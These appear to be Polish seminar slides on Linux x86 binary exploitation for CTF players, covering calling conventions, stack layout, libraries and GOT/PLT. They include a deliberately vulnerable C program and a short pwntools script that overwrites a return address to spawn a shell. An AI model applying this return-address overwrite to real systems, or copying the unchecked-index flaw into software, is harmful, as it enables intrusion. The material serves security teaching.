PWN-ing linux x86/64 et al

Seminarium dla hackerów

Arek Kozdra

26 października 2018

Do x86 nie używamy składni AT&T, tylko Intela:

```
oper arg,   arg2 ; komentarz

mov  eax,   ebx  ; eax = ebx
mov  [ebx], 0x10 ; *ebx = 16
push eax         ; == "sub esp, 4" + "mov [esp], eax"
pop  eax         ; == "mov eax, [esp]" + "add esp, 4"
```

Rejestry zwyczajne: *eax*, *ebx*, ...
Rejestry specjalne: *eip*, *esp*, *ebp*.

Konwencja wywołań
Typowa funkcja

```
push arg2
push arg1
call funkcja1   ; == "push eip" + "mov eip, funkcja1"
;pop eax
; ...

funkcja1:
push ebp        ; zapisujemy stary wskaźnik ramki
mov  ebp, esp   ; ustawiamy na swój
sub  esp, 0x10  ; rezerwujemy miejsce na stosie
;lea ebx, [ebp-8]
;repe cmpsb
;aaa
;xor eax, eax
leave           ; tak naprawdę = "mov esp, ebp" + "pop ebp"
ret             ; tak naprawdę = "pop eip"
```

Konwencja wywołań
Układ stosu

Rozmiar [bajty]	Dane
...	Chwilowe rzeczy na stosie
...	Zmienne lokalne
4	Zapisany *ebp*
4	Adres powrotny
8	Argumenty (dwa)
...	Zmienne lokalne zewnętrznej funkcji
...	...

Konwencja wywołań
Pora na pwn!

```c
#include <stdio.h>
#include <stdlib.h>
void dzika_funkcja() {
        system("/bin/sh");
}
void funk() {
        int n;
        int tablica[4];
        puts("Podaj indeks tablicy:");
        scanf("%d", &n);
        puts("Podaj wartość do zapisania:");
        scanf("%d", &tablica[n]);
}
int main() {
        funk();
        return 0;
}
```

Konwencja wywołań
Przykładowe rozwalenie

```
#!/usr/bin/env python3
from pwn import *

context.binary = e = ELF('sztos')
p = e.process()

p.sendline(b'8')
p.sendline(b'%d' % e.sym.dzika_funkcja)

p.interactive()
```

Konwencja wywołań
Dlaczego działa?

Rozmiar [bajty]	Dane
...	...
4	tablica[0]
4	tablica[1]
4	tablica[2]
4	tablica[3]
4	n (tablica[4])
4	*pad* (tablica[5])
4	*pad* (tablica[6])
4	Zapisany *ebp* (tablica[7])
4	**Adres powrotny (tablica[8])**
...	...

Dawno temu było źle. Dawno temu wszyscy pisali obsługę we/wy dysków i liczenie sinusów RĘCZNIE.

```
cmp bx,0xAA55
pushaw
push byte 0
push byte 0
push word [bp+10]
push word [bp+8]
push byte 0
push word entry
push byte 1
push byte 0x10
mov ah,0x42
mov si,sp
int 13h
popaw
popaw
```

Ludzie duplikowali swój kod, a więc i swoją pracę!
Powstał pomysł „bibliotek kodu”, które trzymały skompilowane funkcje.

```
$ ls -l /lib/*.a
-rw-r--r-- 1 root root  17M cze 17 22:35 /lib/libc.a
-rw-r--r-- 1 root root  53K cze 17 22:35 /lib/libc_nonshare
-rw-r--r-- 1 root root  48K cze 17 22:33 /lib/libdl.a
-rw-r--r-- 1 root root 2,1M cze 17 22:33 /lib/libm.a
```

Binarki nadal były duże.
Ładujmy kod z różnych plików w czasie wykonania!
Ma to same zalety (RAM, moduły, update'y).

```
$ ls -l /lib/lib?.so
-rw-r--r-- 1 root root 238 cze 17 22:32 /lib/libc.so
lrwxrwxrwx 1 root root  19 cze 17 22:33 /lib/libm.so
```

Programy: ld, ld-linux.so.2, ldd
strace ./hello
gdb ./hello

Biblioteki dynamiczne
Za każdym razem inny adres!

GOT, PLT, GOT.PLT, PLT.GOT

(zadanie FRIDGE TODO LIST z capturetheflag.withgoogle.com)
(zadanie got-2-learn-libc i got-shell z picoCTF)